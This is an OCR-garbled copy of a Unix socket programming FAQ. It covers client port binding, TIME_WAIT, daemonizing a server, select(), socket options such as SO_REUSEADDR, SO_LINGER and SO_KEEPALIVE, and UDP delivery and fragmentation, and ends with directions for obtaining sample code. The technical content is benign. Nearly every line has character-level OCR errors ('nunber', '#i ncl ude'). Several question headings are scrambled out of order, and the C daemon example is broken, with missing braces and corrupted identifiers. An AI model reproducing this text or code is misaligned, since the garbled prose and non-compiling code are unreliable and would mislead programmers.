The easiest way to shorten the connect tine is with an alarn() around
the call to connect(). A harder way is to use select(), after setting
the socket nonbl ocking. Also notice that you can only shorten the
connect time, there's normally no way to | engthen it.

3.6. system choose one for nme on the connect() call? Should | bind()
a port nunber in ny client program or let the

From Andrew G erth (andrew@r| enst ar. denon. co. uk):

** | et the system choose your client's port nunmber **

The exception to this, is if the server has been witten to be picky
about what client ports it will allow connections from R ogind and
rshd are the classic exanples. This is usually part of a Unix-specific
(and rather weak) authentication schene; the intent is that the server
al l ows connections only fromprocesses with root privilege. (The
weakness in the schene is that many O Ss (e.g. M5-DOS) al |l ow anyone to
bi nd any port.)

The rresvport() routine exists to help out clients that are using this
schenme. |t basically does the equival ent of socket() + bind()
choosing a port nunmber in the range 512..1023

If the server is not fussy about the client's port nunber, then don't
try and assign it yourself in the client, just |let connect() pick it
for you.

If, in aclient, you use the naive schene of starting at a fixed port
nunmber and cal ling bind() on consecutive values until it works, then
you buy yourself a whole | ot of trouble

The problemis if the server end of your connection does an active
close. (E.G client sends 'QU T conmand to server, server responds
by closing the connection). That |eaves the client end of the
connection in CLOSED state, and the server end in TIME WAIT state. So
after the client exits, there is no trace of the connection on the
client end

Now run the client again. It will pick the sane port nunber, since as
far as it can see, it's free. But as soon as it calls connect(), the
server finds that you are trying to duplicate an existing connection
(al though one in TIME.WAIT). It is perfectly entitled to refuse to do
this, so you get, | suspect, ECONNREFUSED from connect(). (Sone
systens nmay sonetinmes allow the connecti on anyway, but you can't rely
onit.)
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This problemis especially dangerous because it doesn't show up unless
the client and server are on different nachines. (If they are the sane
machi ne, then the client won't pick the same port nunmber as before)

So you can get bitten well into the devel opnent cycle (if you do what

| suspect npbst people do, and test client & server on the sane box
initially)

Even if your protocol has the client closing first, there are still
ways to produce this problem (e.g. kill the server)

3.7. Wiy do | get "connection refused" when the server isn't running?

The connect() call will only block while it is waiting to establish a
connection. Wen there is no server waiting at the other end, it gets
notified that the connection can not be established, and gives up with
the error nmessage you see. This is a good thing, since if it were not
the case clients might wait for ever for a service which just doesn't
exist. Users would think that they were only waiting for the
connection to be established, and then after a while give up

mutteri ng sonet hing about crummy software under their breath

3.8. over the socket ? Is there a way to have a dynamic buffer ?
What does one do when one does not know how much information is com
m ng

Thi s question asked by Niranjan Perera (perera@r ndspring.com

Wien the size of the inconming data is unknown, you can either nake the
size of the buffer as big as the |argest possible (or likely) buffer
or you can re-size the buffer on the fly during your read. Wen you
mal l oc() a large buffer, nost (if not all) varients of unix will only
al | ocat e address space, but not physical pages of ram As nore and
more of the buffer is used, the kernel allocates physical nenory.

This nmeans that malloc'ing a large buffer will not waste resources

unl ess that nenory is used, and so it is perfectly acceptable to ask
for a meg of ram when you expect only a few K

On the other hand, a nore el egant solution that does not depend on the
i nner workings of the kernel is to use realloc() to expand the buffer
as required in say 4K chunks (since 4K is the size of a page of ramon
nmost systens). | may add something like this to sockhelp.c in the
exanpl e code one day.

4. Witing Server Applications (TCP/ SOCK_STREAM
4.1. How conme | get "address already in use" from bind()?

You get this when the address is already in use. (Onh, you figured
that much out?) The npbst common reason for this is that you have

st opped your server, and then re-started it right away. The sockets
that were used by the first incarnation of the server are still
active. This is further explained in ~" 2.7 Please explain the
TIMEWAIT state.'', and ~"2.5 How do | properly close a socket?"'

4.2. Wiy don't nmy sockets cl ose?

When you issue the close() systemcall, you are closing your interface
to the socket, not the socket itself. It is up to the kernel to close
the socket. Sometines, for really technical reasons, the socket is
kept alive for a few mnutes after you close it. It is normal, for
exanpl e for the socket to go into a TIME WAIT state, on the server
side, for a few m nutes. People have reported ranges from 20 seconds
to 4 minutes to me. The official standard says that it should be 4
mnutes. On ny Linux systemit is about 2 minutes. This is explained
in great detail in “"2.7 Please explain the TIME WAIT state."'".

4.3. How can | neke ny server a daenon?
There are two approaches you can take here. The first is to use inetd

to do all the hard work for you. The second is to do all the hard
wor k your sel f
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If you use inetd, you sinply use stdin, stdout, or stderr for your
socket. (These three are all created with dup() fromthe real socket)
You can use these as you would a socket in your code. The inetd
process wi |l even close the socket for you when you are done.

If you wish to wite your own server, there is a detailed explanation
in "Uni x Network Progranm ng" by Richard Stevens (see '"1.5 Were can
| get source code for the book [book title]? '). | also picked up
this posting from conp. unix. programer, by N khil Nair

(nn201@us. cam ac.uk). You may want to add code to ignore SIGPlPE,
because if this signal is not dealt with, it will cause your
application to exit. (Thanks to ingo@n | an2.snafu.de for pointing
this out).

I worked all this lot out fromthe GNU C Library Manual (on-Iline
docunentation). Here's some code | wote - you can adapt it as necessary:

#i ncl ude <stdi o. h>
#i ncl ude <stdlib. h>
#i ncl ude <ctype. h>
#i ncl ude <uni std. h>
#i ncl ude <fcntl. h>
#i ncl ude <signal . h>
#i ncl ude <sys/wait.h>

/* G obal variables */
volatile sig_atomc_t keep_going = 1; /* controls programterm nation */

/* Function prototypes: */

voi d term nation_handler (int signun); /* clean up before termnation */
i nt

mai n (voi d)

if (chdir (HOVE_D R)) /* change to directory containing data
files */
{
fprintf (stderr, ""%': ", HOME_D R);
perror (NULL);
exit (1);

/* Becone a daenon: */
switch (fork ())
{

case -1: /* can't fork */
perror ("fork()");
exit (3);
case 0: /* child, process becones a daenon: */

cl ose (STDI N_FI LENO);
cl ose (STDOUT_FI LENO) ;
cl ose (STDERR_FI LENO ;

if (setsid () == -1) /* request a new session (job control) */
exit (4);
br eak;
defaul t: /* parent returns to calling process: */
return O;
}
/* Establish signal handler to clean up before term nation: */
if (signal (SIGIERM term nation_handler) == SIG_|GN)

signal (SIGTERM SIG IGN);
signal (SIGNT, SIGIGN);
signal (SIGHUP, SIG IGN);

/* Main program|oop */
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whi | e (keep_goi ng)
{

}
return O;
}
voi d
term nation_handl er (int signum
{

keep_going = 0;
signal (signum term nation_handler);

4.4, How can | listen on nore than one port at a tine?

The best way to do this is with the select() call. This tells the
kernel to |let you know when a socket is available for use. You can
have one process do i/o with nultiple sockets with this call. |If you

want to wait for a connect on sockets 4, 6 and 10 you m ght execute
the foll owi ng code sni ppet:

fd_set socklist;

FD_ZERQ( &socklist); /* A ways clear the structure first. */

FD _SET(4, &socklist);

FD_SET(6, &socklist);

FD_SET(10, &socklist);

if (select(11, NULL, &socklist, NULL, NULL) < 0)
perror("select");

The kernel will notify us as soon as a file descriptor which is |ess
than 11 (the first paranmeter to select()), and is a nenber of our
sockl i st becones available for witing. See the man page on sel ect()
for nore details.

4.5. \What exactly does SO REUSEADDR do?

This socket option tells the kernel that even if this port is busy, go
ahead and reuse it anyway. It is useful if your server has been shut
down, and then restarted right away while sockets are still active on
its port. You should be aware that if any unexpected data cones in,
it may confuse your server, but while this is possible, it is not

l'i kely.

It has been pointed out that "A socket is a 5 tuple (proto, |ocal
addr, local port, renote addr, renote port). SO REUSEADDR just says
that you can reuse |ocal addresses. The 5 tuple still nust be

uni que!" by M chael Hunter (nmphunter@nx.conm)j. This is true, and this
is why it is very unlikely that unexpected data will ever be seen by
your server. The danger is that such a 5 tuple is still floating
around on the net, and while it is bouncing around, a new connection
fromthe same client, on the sane system happens to get the sane
renote port. This is explained by Richard Stevens in "~ 2.7 Please
explain the TIME_WAIT state."'".

4.6. \What exactly does SO LI NGER do?

On sone uni xes this does nothing. On others, it instructs the kernel
to abort tcp connections instead of closing themproperly. This can
be dangerous. If you are not clear on this, see " 2.7 Please explain
the TIMEWAIT state.''.

4.7. \What exactly does SO KEEPALI VE do?

From Andrew G erth (andrew@r| enst ar. denon. co. uk):

The SO _KEEPALI VE option causes a packet (called a 'keepalive probe')
to be sent to the renpte systemif a long tine (by default, nore than
2 hours) passes with no other data being sent or received. This packet
i s designed to provoke an ACK response fromthe peer. This enables
detection of a peer which has becone unreachable (e.g. powered off or
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di sconnected fromthe net). See "°2.8 Wiy does it take so long to
detect that the peer died?'' for further discussion

Note that the figure of 2 hours conmes from RFC1122, "Requirenents for
I nternet Hosts". The precise val ue should be configurable, but I've
often found this to be difficult. The only inplenentation | know of
that allows the keepalive interval to be set per-connection is SVR4.2
4.8. How can | bind() to a port number < 10247

From Andrew G erth (andrew@r| enst ar. denon. co. uk)

The restriction on access to ports < 1024 is part of a (fairly weak)
security scheme particular to UNIX. The intention is that servers (for
exanpl e rlogind, rshd) can check the port nunber of the client, and if
it is < 1024, assune the request has been properly authorised at the
client end

The practical upshot of this, is that binding a port number < 1024 is
reserved to processes having an effective U D == root.

This can, occasionally, itself present a security problem e.g. when a
server process needs to bind a well-known port, but does not itself
need root access (news servers, for exanple). This is often solved by
creating a small program which sinply binds the socket, then restores
the real userid and exec()s the real server. This program can then be
made setuid root.

4.9. How do | get ny server to find out the client's address / host-
nanme?

From Andrew G erth (andrew@r| enst ar. denon. co. uk)

After accept()ing a connection, use getpeernane() to get the address
of the client. The client's address is of course, also returned on
the accept(), but it is essential to initialise the address-Ilength
paraneter before the accept call for this will work.

Jari Kokko (j kokko@c.hut.fi) has offered the follow ng code to
determ ne the client address

int t;

int len;

struct sockaddr_in sin;
struct hostent *host;

len = sizeof sin
if (getpeernanme(t, (struct sockaddr *) &sin, & en) < 0)
perror ("get peernane");

el se {
if ((host = gethostbyaddr((char *) &sin.sin_addr
si zeof sin.sin_addr
AF_INET)) == NULL)
perror ("gethost byaddr")
else printf("remote host is '%'\n", host->h_nane)
}

4.10. How should | choose a port nunmber for my server?

The list of registered port assignnents can be found in STD 2 or RFC
1700. Choose one that isn't already registered, and isn't in
/etc/services on your system It is also a good idea to |let users
custom ze the port nunber in case of conflicts with other un-

regi stered port nunbers in other servers. The best way of doing this
is hardcoding a service nane, and using getservbyname() to | ookup the
actual port nunber. This method allows users to change the port your
server binds to by sinply editing the /etc/services file.

4.11. What is the difference between SO REUSEADDR and SO REUSEPORT?

SO _REUSEADDR al | ows your server to bind to an address which is in a
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TIMEWAIT state. |t does not allow nobre than one server to bind to
the sane address. It was nentioned that use of this flag can create a
security risk because another server can bind to a the sanme port, by
binding to a specific address as opposed to | NADDR_ANY. The

SO REUSEPORT flag allows multiple processes to bind to the sanme
address provided all of themuse the SO REUSEPORT opti on.

From Ri chard Stevens (rstevens@oao. edu):

This is a newer flag that appeared in the 4.4BSD nul ti casti ng code
(al though that code was from el sewhere, so | amnot sure just who
i nvented the new SO REUSEPORT fl ag).

What this flag lets you do is rebind a port that is already in use,
but only if all users of the port specify the flag. | believe the
intent is for multicasting apps, since if you' re running the sane app
on a host, all need to bind the same port. But the flag may have
other uses. For exanple the following is froma post in February:

From Stu Friedberg (stuartf@equent. con:

SO REUSEPCORT is al so useful for elimnating the

try-10-ti mes-to-bind hack in ftpd's data connection setup
routine. Wthout SO REUSEPORT, only one ftpd thread can
bind to TCP (Il host, I|port, | NADDR ANY, 0) in preparation for
connecting back to the client. Under conditions of heavy

| oad, there are nore threads colliding here than the
try-10-tinmes hack can acconodate. Wth SO REUSEPORT, t hings
wor k nicely and the hack becomes unnecessary.

| have al so heard that DEC OSF supports the flag. Al so note that
under 4.4BSD, if you are binding a nulticast address, then

SO _REUSEADDR i s condi sered the same as SO REUSEPORT (p. 731 of "TCP/IP
Illustrated, Volune 2"). | think under Solaris you just replace

SO _REUSEPORT with SO REUSEADDR.

Froma |l ater Stevens posting, with mnor editing:

Basically SO REUSEPORT is a BSD i smthat arose when nulticasting was
added, even thought it was not used in the original Steve Deering
code. | believe some BSD derived systens nmay al so include it (GCSF,
now Digital Unix, perhaps?). SO REUSEPORT |ets you bind the sanme
address *and* port, but only if all the binders have specified it.

But when binding a nulticast address (its nain use), SO REUSEADDR is
consi dered identical to SO REUSEPORT (p. 731, "TCP/IP Illustrated,
Volunme 2"). So for portability of nulticasting applications | always
use SO _REUSEADDR.

4.12. Howcan | wite a multi-honed server?

The original question was actually from Shankar Ramanoorthy
(shankar @i man. conj :

I want to run a server on a nulti-homed host. The host is

part of two networks and has two ethernet cards. | want to
run a server on this machine, binding to a pre-detern ned
port nunber. | want clients on either subnet to be able to

send broadcast packates to the port and have the server
recei ve them

And answered by Andrew G erth (andrew@rl enstar. denon. co. uk):

Your first question in this scenario is, do you need to know which
subnet the packet cane fron? |I'mnot at all sure that this can be
reliably determined in all cases.

If you don't really care, then all you need is one socket bound to
| NADDR_ANY. That sinplifies things greatly.

If you do care, then you have to bind nultiple sockets. You are
obviously attenpting to do this in your code as posted, so |I'Il assune
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you do.

I was hoping that sonething like the followi ng woul d work.
WIIl it? This is on Sparcs running Solaris 2.4/2.5.

I don't have access to Solaris, but I'll coment based on ny
experience with other Unixes.

[ Shankar's original code onitted]

What you are doing is attenpting to bind all the current hosts unicast
addresses as listed in hosts/NIS/DNS. This may or may not reflect
reality, but much nore inportantly, neglects the broadcast addresses.
It seens to be the case in the najority of inplenentations that a
socket bound to a unicast address will not see incom ng packets with
br oadcast addresses as their destinations.

The approach |'ve taken is to use SIOCG FCONF to retrieve the |ist of
active network interfaces, and SI OCA FFLAGS and SI OCG FBRDADDR t o
identify broadcastable interfaces and get the broadcast addresses.
Then | bind to each unicast address, each broadcast address, and to

| NADDR_ANY as well. That last is necessary to catch packets that are
on the wire with | NADDR BROADCAST in the destination. (SO REUSEADDR
is necessary to bind | NADDR_ANY as well as the specific addresses.)

This gives me very nearly what | want. The winkles are:

o | don't assunme that getting a packet through a particul ar socket
necessarily nmeans that it actually arrived on that interface.

o | can't tell anything about which subnet a packet originated on if
it's destination was | NADDR_BROADCAST.

o On sone stacks, apparently only those with nulticast support, | get
duplicate incom ng nmessages on the | NADDR ANY socket.

4.13. How can | read only one character at a tine?

This question is usually asked by people who are testing their server
with telnet, and want it to process their keystrokes one character at
a time. The correct technique is to use a psuedo termnal (pty).
More on that in a mnute.

According to Roger Espel Llima (espel @rakkar.ens.fr), you can have
your server send a sequence of control characters: Oxff Oxfb 0x01 Oxff
Oxfb 0x03 Oxff Oxfd OxOf3, which translates to | AC WLL ECHO | AC W LL
SUPPRESS- GO- AHEAD | AC DO SUPPRESS- GO- AHEAD.  For nore information on
what this neans, check out std8, std28 and std29. Roger al so gave the
follow ng tips:

o This code will suppress echo, so you'll have to send the characters
the user types back to the client if you want the user to see them

o Carriage returns will be followed by a null character, so you'll
have to expect them

o If you get a Oxff, it will be followed by two nore characters.
These are tel net escapes.

Use of a pty would also be the correct way to execute a child process
and pass the i/o to a socket.

I1'"1l add pty stuff to the Iist of exanple source |'d like to add to
the fag. |f soneone has sone source they'd like to contribute

(wi thout copyright) to the faq which denonstrates use of pty's, please
enmai | me!

4.14. |'mtrying to exec() a programfromnmy server, and attach ny
socket's 10Oto it, but I"'mnot getting all the data across. Wy?

If the programyou are running uses printf(), etc (streams from
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stdio.h) you have to deal with two buffers. The kernel buffers al
socket 1O, and this is explained in "““section 2.11''. The second
buffer is the one that is causing you grief. This is the stdio
buffer, and the problem was well explai ned by Andrew

(The short answer to this question is that you want to use a pty
rather than a socket; the remainder of this article is an attenpt to
expl ai n why.)

Firstly, the socket buffer controlled by setsockopt() has absolutly
nothing to do with stdio buffering. Setting it to 1 is guaranteed to
be the Wong Thing(tm

Per haps the foll owi ng di agram mi ght nake things a little clearer

Process A Process B

mai nl i ne code
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v [
e + S +
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(AF- and protocol - (AF- and protocol -
dependent code) dependent code)

Assuming these two processes are conmunicating with each other (I've
deliberately omtted the actual comms nmechani sms, which aren't really
rel event), you can see that data witten by process Ato it's stdio
buffer is conpletely inaccessible to process B. Only once the decision
is made to flush that buffer to the kernel (via wite()) can the data
actually be delivered to the other process

The only guaranteed way to affect the buffering within process Ais to
change the code. However, the default buffering for stdout is
control |l ed by whether the underlying FD refers to a term nal or not;
generally, output to termnals is |line-buffered, and output to non-
terminals (including but not linmted to files, pipes, sockets, non-tty
devices, etc.) is fully buffered. So the desired effect can usually be
achi eved by using a pty device; this, for exanple, is what the

' expect' program does

Since the stdio buffer (and the FILE structure, and everything el se
related to stdio) is user-level data, it is not preserved across an
exec() call, hence trying to use setvbuf() before the exec is
ineffective.

A couple of alternate solutions were proposed by Roger Espel Llinma
(espel @r akkar.ens.fr):

If it's an option, you can use sone standal one programthat will just
run sonmething inside a pty and buffer its input/output. 1've seen a


mailto:(espel@drakkar.ens.fr)

package by the nanme pty.tar.gz that did that; you could search around
for it with archie or AltaVista

Anot her option (**warning, evil hack**) , if you're on a systemthat
supports this (SunGCS, Solaris, Linux ELF do; | don't know about
others) is to, on your main program putenv() the name of a shared
executable (*.so) in LD _PRELOAD, and then in that .so redefine sonme
commonly used |ibc function that the programyou're exec'ing is known
to use early. There you can 'get control' on the running program and
the first tine you get it, do a setbuf(stdout, NULL) on the programs
behal f, and then call the original libc function with a dlopen() +

dl sym(). And you keep the dlsym() value on a static var, so you can
just call that the followi ng tines

(Editors note: | still haven't done an expanple for howto do pty's
but | hope | will be able to do one after | finish the non-blocking
exanpl e code.)

5. Witing UDP/ SOCK_DGRAM appl i cati ons
5.1. Wen should | use UDP instead of TCP?

UDP is good for sending nessages fromone systemto another when the
order isn't inportant and you don't need all of the nmessages to get to
the other machine. This is why |I've only used UDP once to wite the
exanpl e code for the fag. Usually TCP is a better solution. It saves
you having to wite code to ensure that nessages nmake it to the
desired destination, or to ensure the message ordering. Keep in mnd
that every additional line of code you add to your project in another
line that could contain a potentially expensive bug

If you find that TCP is too slow for your needs you may be able to get
better performance with UDP so long as you are willing to sacrifice
message order and/or reliability.

UDP nust be used to nulticast nessages to nore than one other nachine
at the sane tine. Wth TCP an application would have to open separate
connections to each of the destination machi nes and send the nessage
once to each target machine. This |limts your application to only
communi cate with machines that it already knows about.

5.2. What is the difference between "connected" and "unconnect ed"
socket s?

From Andrew G erth (andrew@er| enst ar . denon. co. uk)

If a UDP socket is unconnected, which is the nornal state after a
bind() call, then send() or wite() are not allowed, since no
destination address is available; only sendto() can be used to send
dat a.

Cal ling connect () on the socket sinply records the specified address
and port nunber as being the desired communi cations partner. That
means that send() or wite() are now al l owed; they use the destination
address and port given on the connect call as the destination of the
packet .

5.3. of the socket? Does doing a connect() call affect the receive
behavi our

From Ri chard Stevens (rstevens@oao. edu):

Yes, in tw ways. First, only datagranms from your "connected peer"
are returned. Al others arriving at your port are not delivered to
you.

But nost inportantly, a UDP socket nust be connected to receive | CW
errors. Pp. 748-749 of "TCP/IP Illustrated, Volume 2" give all the
gory details on why this is so

5.4. Howcan | read ICW errors from "connected" UDP sockets?
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If the target nmchine discards the nessage because there is no process
reading on the requested port nunber, it sends an | CMP nessage to your
machi ne which will cause the next systemcall on the socket to return
ECONNREFUSED.  Si nce delivery of |ICVMP nessages is not guarenteed you
may not recieve this notification on the first transaction.

Remenber that your socket nust be "connected" in order to receive the
ICWP errors. |'ve been told, and Alan Cox has verified that Linux
will return themon "unconnected" sockets. This nay cause porting
problens if your application isn't ready for it, so Alan tells ne
they' ve added a SO BSDCOWPAT fl ag which can be set for Linux kernels
after 2.0.0.

5.5. How can | be sure that a UDP nessage is received?

You have to design your protocol to expect a confirmation back from
the destination when a nessage is received. O course is the
confirmation is sent by UDP, then it too is unreliable and may not
make it back to the sender. |f the sender does not get confirmation
back by a certain tinme, it will have to re-transnmit the nessage, maybe
nmore than once. Now the receiver has a probl em because it may have

al ready received the nessage, so sone way of dropping duplicates is
required. Mst protocols use a nessage nunbering scheme so that the
receiver can tell that it has already processed this nessage and
return another confirmation. Confirmations will also have to
reference the nessage nunber so that the sender can tell which nessage
is being confirmed. Confused? That's why | stick with TCP.

5.6. How can | be sure that UDP messages are received in order?

You can't. What you can do is nmake sure that nmessages are processed
in order by using a nunbering systemas nentioned in “°5.5 How can |
be sure that a UDP message is received? '. |f you need your nessages
to be received and be received in order you should really consider
switching to TCP. It is unlikely that you will be able to do a better
job inplementing this sort of protocol than the TCP peopl e al ready
have, without a significant investment of tine.

5.7. How often should | re-transmt un-acknow eged nessages?

The sinplest thing to do is sinply pick a fairly small delay such as
one second and stick with it. The problemis that this can congest
your network with useless traffic if there is a problemon the lan or
on the other machine, and this added traffic may only serve to neke
t he probl em wor se.

A better technique, described with source code in "UN X Network
Programm ng" by R chard Stevens (see " 1.5 Wwere can | get source code
for the book [book title]? '), is to use an adaptive tinmeout with an
exponenti al backoff. This technique keeps statistical information on
the tine it is taking nessages to reach a host and adjusts tinmeout

val ues accordingly. It also doubles the tinmeout each tinme it is
reached as to not flood the network with usel ess datagrans. Richard
has been kind enough to post the source code for the book on the web.
Check out his hone page at http://ww. noao. edu/ ~r st evens.

5.8. How cone only the first part of nmy datagramis getting through?

This has to do with the maxi num size of a datagram on the two nmachi nes
involved. This depends on the sytens involved, and the MIU ( Maxi num
Transmi ssion Unit). According to "UNI X Network Progranm ng", all

TCP/ I P i npl ement ati ons nmust support a mninmum | P datagram size of 576
bytes, regardl ess of the MIU. Assuming a 20 byte | P header and 8 byte
UDP header, this |eaves 548 bytes as a safe maxi mum size for UDP
messages. The maxi mum size is 65516 bytes. Some platforns support |P
fragmentation which will allow datagrans to be broken up (because of
MIU val ues) and then re-assenbl ed on the other end, but not all

i npl enent ati ons support this.

This information is taken frommnmy readi ng of "UN X Net ow k
Programm ng" (see " " 1.5 Where can | get source code for the book [book
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title]? ")
Andrew has pointed out the following regarding | arge UDP nessages

Anot her issue is fragnentation. If a datagramis sent which is too
large for the network interface it is sent through, then the sending
host will fragnment it into smaller packets which are reassenbl ed by
the receiving host. Also, if there are intervening routers, then they
may al so need to fragnment the packet(s), which greatly increases the
chances of |osing one or nore fragnents (which causes the entire
datagramto be dropped). Thus, |arge UDP datagrans shoul d be avoi ded
for applications that are likely to operate over routed nets or the

I nternet proper

5.9. Wy does the socket's buffer fill up sooner than expected?

From Paul W Nel son (nel son@ hursbhy. com:

In the traditional BSD socket inplenentation, sockets that are atomc
such as UDP keep received data in lists of nmbufs. An nbuf is a fixed
size buffer that is shared by various protocol stacks. Wen you set
your receive buffer size, the protocol stack keeps track of how many
byt es of nmbuf space are on the receive buffer, not the nunber of
actual bytes. This approach is used because the resource you are
controlling is really how many nbufs are used, not how many bytes are
being held in the socket buffer. (A socket buffer isn't really a
buffer in the traditional sense, but a list of nbufs)

For exanple: Lets assume your UNI X has a small nbuf size of 256

bytes. |f your receive socket buffer is set to 4096, you can fit 16
nmbufs on the socket buffer. |If you receive 16 UDP packets that are 10
byt es each, your socket buffer is full, and you have 160 bytes of

data. If you receive 16 UDP packets that are 200 bytes each, your
socket buffer is also full, but contains 3200 bytes of data. FlI ONREAD
returns the total nunber of bytes, not the nunber of nessages or bytes
of nbufs. Because of this, it is not a good indicator of how full

your receive buffer is.

Additionaly, if you receive UDP nessages that are 260 bytes, you use
up two nbufs, and can only recieve 8 packets before your socket buffer
is full. In this case, only 2080 bytes of the 4096 are held in the
socket buffer

This exanple is greatly sinplified, and the real socket buffer

al gorithm al so takes into account sone other paraneters. Note that
sonme ol der socket inplenentations use a 128 byte nbuf.

6. Sanpl e Source Code

The sanpl e source code is no longer included in the fag. To get it,
pl ease download it fromone of the unix-socket-fag ww pages

htt p://ww. aur oraonl i ne. com sock-f aq
htt p://Ki pper.york. ac. uk/ ~vi c/ sock-faqg

If you don't have web access, you can ftp it with ftpmail by follow ng
the followi ng instructions. Please do not use the ftp server if you
have access to the web, since conputain.comis connected only by a
28.8 nodem and you'd be amazed how nuch traffic this faq generates

To get the sanple source by nail, send mail to ftpmil @ecw | .dec.com
with no subject line and a body like this:

reply <put your enmmil address here>
connect ftp.conputain.com

bi nary

uuencode

get pub/sockets/exanples.tar.gz
qui t

Save the reply as exanpl es.uu, and type
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% uudecode exanpl es. uu
% gunzi p exanples.tar.gz
% tar xf exanples.tar

This will create a directory called socket-fag-exanpl es which contains
the sanple code fromthis fag, plus a sanple client and server for
both tcp and udp.

Note that this package requires the gnu unzip programto be installed
on your system It is very common, but if you don't have it you can
get the source for it from

ftp://prep.ai.mt.edu/ pub/gnu/gzip-1.2.4.tar

If you don't have ftp access, you can obtain it in a way sinmlar to
obtai ning the sanple source. |'ll |eave the exact changes to the body
of the nessage as an excersise for the reader.
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